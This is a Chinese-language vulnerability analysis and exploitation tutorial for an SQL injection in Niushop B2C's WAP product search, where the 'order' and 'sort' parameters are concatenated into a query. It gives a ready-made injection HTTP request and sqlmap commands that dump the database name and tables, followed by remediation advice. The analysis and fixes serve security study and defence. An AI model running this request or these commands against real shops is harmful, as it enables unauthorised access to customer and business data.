某Shop多用户商场 SQL注入(一)
字数 1077 2025-08-26 22:11:34
Niushop B2C商城系统SQL注入漏洞分析及利用教学文档
0x01 漏洞概述
Niushop B2C商城系统是一款基于ThinkPHP5.0开发的开源商城系统。在系统版本中存在一处SQL注入漏洞,攻击者可通过构造特定的HTTP请求利用此漏洞获取数据库敏感信息。
0x02 漏洞原理分析
漏洞位置
漏洞存在于商品搜索功能中,具体调用链如下:
/Application/wap/Controller/Goods.php中的goodsSearchList方法/data/service/Goods.php中的goodsSearchList方法/data/model/NsGoodsViewModel.php中的getGoodsViewList方法/data/model/BaseModel.php中的viewPageQuery方法
漏洞触发流程
-
首先在WAP端的商品控制器中接收用户输入:
- 从POST请求获取
order参数(414行) - 从POST请求获取
sort参数(416行) - 将这两个参数拼接为
$orderby变量(427行)
- 从POST请求获取
-
将
$orderby传入服务层的getGoodsList方法(454行) -
服务层将
order参数继续传递给模型层的getGoodsViewList方法(106行) -
模型层最终将未经过滤的
order参数直接拼接到SQL查询中(BaseModel.php中的viewPageQuery方法)
关键问题
系统未对用户输入的order和sort参数进行任何过滤或验证,直接将它们拼接到SQL查询中,导致SQL注入漏洞。
0x03 漏洞利用方法
漏洞探测
使用以下HTTP请求进行探测:
POST /index.php?s=/wap/Goods/goodsSearchList HTTP/1.1
Host: [目标地址]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[目标地址]/index.php/wap/goods/goodsSearchList
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Cookie: PHPSESSID=[有效会话ID]; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
Cache-Control: max-age=0
sear_name=&sear_type=1&order=*&sort=asc&controlType=&shop_id=0&page=1
使用sqlmap自动化利用
-
将上述请求保存为
niushop.txt文件 -
基本探测:
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" -
获取当前数据库:
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" --current-db -
获取数据库表:
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" -D niushop_b2c --tables
0x04 漏洞修复建议
-
对用户输入的
order和sort参数进行严格过滤,只允许特定的安全字符 -
使用预处理语句或参数化查询,避免直接拼接SQL
-
实现白名单机制,只允许特定的排序字段
-
对输入参数进行类型检查和长度限制
-
更新到最新版本的Niushop系统,官方可能已修复此漏洞
0x05 总结
该漏洞是由于未对用户输入进行充分过滤,直接将用户控制的参数拼接到SQL查询中导致的。攻击者可以利用此漏洞获取数据库敏感信息,甚至可能进一步获取系统权限。开发人员应始终对所有用户输入进行严格验证和过滤,特别是在构建SQL查询时。